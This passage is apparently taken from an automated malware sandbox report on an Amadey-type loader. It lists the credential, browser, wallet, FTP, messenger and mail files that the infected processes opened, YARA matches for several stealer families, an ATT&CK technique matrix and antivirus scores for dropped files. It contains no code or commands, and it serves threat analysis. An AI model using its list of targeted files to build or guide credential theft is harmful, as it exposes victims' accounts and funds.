Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Vivaldi\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\kpfopkelmapcoipemfendmdcghnegimn\CURRENT
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm\CURRENT
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj

Tries to harvest and steal ftp login credentials

Source: C:\Windows\System32\rundll32.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\sitemanager.xml

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB

Tries to steal Instant Messenger accounts or passwords

Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\System32\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\ImmersiveControlPanel\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\System32\oobe\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Program Files (x86)\kwTJRnYVwAQEhcNiCzeUXAdMAbCUXdSzVvyfmsqkGAXe\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Temp\5454e6f062\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Program Files\Google\Chrome\Application\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Temp\1000020001\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Temp\09fd851a4f\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\1000021002\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\SysWOW64\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\Desktop\{6D809377-6AF0-444B-8957-A3773F02200E}\Common Files\microsoft shared\ClickToRun\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe	File opened: C:\.purple\accounts.xml

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Directory queried: number of queries: 1081

Source: Yara match	File source: 00000009.00000002.3073575028.0000000001456000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: d361f35322.exe PID: 5772, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MPGPH131.exe PID: 6636, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 5348, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: d361f35322.exe PID: 8200, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 5348, type: MEMORYSTR

Yara detected Mars stealer

Source: Yara match	File source: 47.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 47.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 51.3.u6po.0.exe.3680000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 44.2.swiiii.exe.3cb5570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 51.3.u6po.0.exe.3680000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 44.2.swiiii.exe.3cb5570.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000002C.00000002.2151525456.0000000003CB5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000033.00000003.2152173443.0000000003680000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000002.2102303995.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Yara detected RedLine Stealer

Source: Yara match	File source: 40.0.jok.exe.7c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000028.00000000.2051081332.00000000007C2000.00000002.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: jok.exe PID: 8672, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\jok[1].exe, type: DROPPED

Yara detected RisePro Stealer

Source: Yara match	File source: 00000024.00000003.2840876152.0000000007C6E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000003.2839845792.0000000007CE8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.3354975509.0000000008152000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.3088709368.0000000007C6E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3082656269.0000000007D70000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000003.2839809905.0000000007CCF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000003.2840195887.0000000007C6E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000003.2839878527.0000000007C6E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: d361f35322.exe PID: 5772, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MPGPH131.exe PID: 6636, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: d361f35322.exe PID: 8200, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RageMP131.exe PID: 8964, type: MEMORYSTR

Yara detected SmokeLoader

Source: Yara match	File source: 00000031.00000002.2229022734.0000000003640000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000031.00000002.2229087093.0000000003661000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected Vidar stealer

Source: Yara match	File source: 47.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 47.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 51.3.u6po.0.exe.3680000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 44.2.swiiii.exe.3cb5570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 44.2.swiiii.exe.3cb5570.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 51.3.u6po.0.exe.3680000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000002C.00000002.2151525456.0000000003CB5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000033.00000003.2152173443.0000000003680000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000002.2102303995.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	221 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	31 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	11 Scheduled Task/Job	712 Process Injection	111 Deobfuscate/Decode Files or Information	11 Input Capture	23 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Shared Modules	21 Registry Run Keys / Startup Folder	11 Scheduled Task/Job	4 Obfuscated Files or Information	1 Credentials in Registry	328 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 Command and Scripting Interpreter	Login Hook	21 Registry Run Keys / Startup Folder	1 Install Root Certificate	1 Credentials In Files	1 Query Registry	Distributed Component Object Model	11 Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	11 Scheduled Task/Job	Network Logon Script	Network Logon Script	13 Software Packing	LSA Secrets	1371 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	1 PowerShell	RC Scripts	RC Scripts	1 Timestomp	Cached Domain Credentials	671 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	671 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	712 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	1 Rundll32	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1CMweaqlKp.exe	50%	ReversingLabs	Win32.Trojan.Amadey
1CMweaqlKp.exe	44%	Virustotal		Browse
1CMweaqlKp.exe	100%	Avira	TR/Crypt.XPACK.Gen
1CMweaqlKp.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\1000021002\ac861238af.exe	100%	Avira	TR/AutoIt.zstul
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\amert[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\NewB[1].exe	100%	Avira	TR/Redcap.pernp
C:\Users\user\AppData\Local\9WrQ2c2u5fxH1pcvCwwjGhdd.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\5W1aDm1vpFLN4gyrIiISMc4h.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Bkg8NSHXvizTVBsjT3dzRvci.exe	100%	Joe Sandbox ML
C:\Users\user\1000021002\ac861238af.exe	100%	Joe Sandbox ML
C:\ProgramData\MPGPH131\MPGPH131.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\KHojJ9v7XtNSHZfW6gAnnH23.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\sarra[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\file300un[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\9SmQs0R4T5RJUISklvcv02zp.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\5LzADXbR9e1baIzvWufsCa70.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Aghrmi42Lz5QvS8u8U6BiVXQ.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\C893DEcM3dAA247WrHBz1SDW.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\8sXk5E4IG9n4ZHu2M9Littnp.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\CmCQsbfi77SnYQWckHTzUjRg.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\4767d2e713f2021e8fe856e3ea638b58[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\GIz2DLitsyoTn14REJti2nqN.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\amert[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\NewB[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\H3bqnZf96LFIOlogieo3h5K9.exe	100%	Joe Sandbox ML
C:\ProgramData\MPGPH131\MPGPH131.exe	53%	Virustotal		Browse
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	Virustotal		Browse
C:\Users\user\1000021002\ac861238af.exe	35%	Virustotal		Browse
C:\Users\user\AppData\Local\5LzADXbR9e1baIzvWufsCa70.exe	34%	ReversingLabs
C:\Users\user\AppData\Local\5LzADXbR9e1baIzvWufsCa70.exe	44%	Virustotal		Browse
C:\Users\user\AppData\Local\5W1aDm1vpFLN4gyrIiISMc4h.exe	32%	ReversingLabs
C:\Users\user\AppData\Local\5W1aDm1vpFLN4gyrIiISMc4h.exe	43%	Virustotal		Browse
C:\Users\user\AppData\Local\8sXk5E4IG9n4ZHu2M9Littnp.exe	75%	ReversingLabs	Win32.Trojan.Operaloader
C:\Users\user\AppData\Local\8sXk5E4IG9n4ZHu2M9Littnp.exe	72%	Virustotal		Browse
C:\Users\user\AppData\Local\9SmQs0R4T5RJUISklvcv02zp.exe	32%	ReversingLabs
C:\Users\user\AppData\Local\9SmQs0R4T5RJUISklvcv02zp.exe	43%	Virustotal		Browse
C:\Users\user\AppData\Local\9WrQ2c2u5fxH1pcvCwwjGhdd.exe	75%	ReversingLabs	Win32.Trojan.Operaloader
C:\Users\user\AppData\Local\9WrQ2c2u5fxH1pcvCwwjGhdd.exe	72%	Virustotal		Browse
C:\Users\user\AppData\Local\Aghrmi42Lz5QvS8u8U6BiVXQ.exe	43%	ReversingLabs	Win32.Packed.Generic
C:\Users\user\AppData\Local\Aghrmi42Lz5QvS8u8U6BiVXQ.exe	43%	Virustotal		Browse
C:\Users\user\AppData\Local\Bkg8NSHXvizTVBsjT3dzRvci.exe	75%	ReversingLabs	Win32.Trojan.Operaloader
C:\Users\user\AppData\Local\Bkg8NSHXvizTVBsjT3dzRvci.exe	72%	Virustotal		Browse
C:\Users\user\AppData\Local\C893DEcM3dAA247WrHBz1SDW.exe	43%	ReversingLabs	Win32.Packed.Generic
C:\Users\user\AppData\Local\C893DEcM3dAA247WrHBz1SDW.exe	43%	Virustotal		Browse
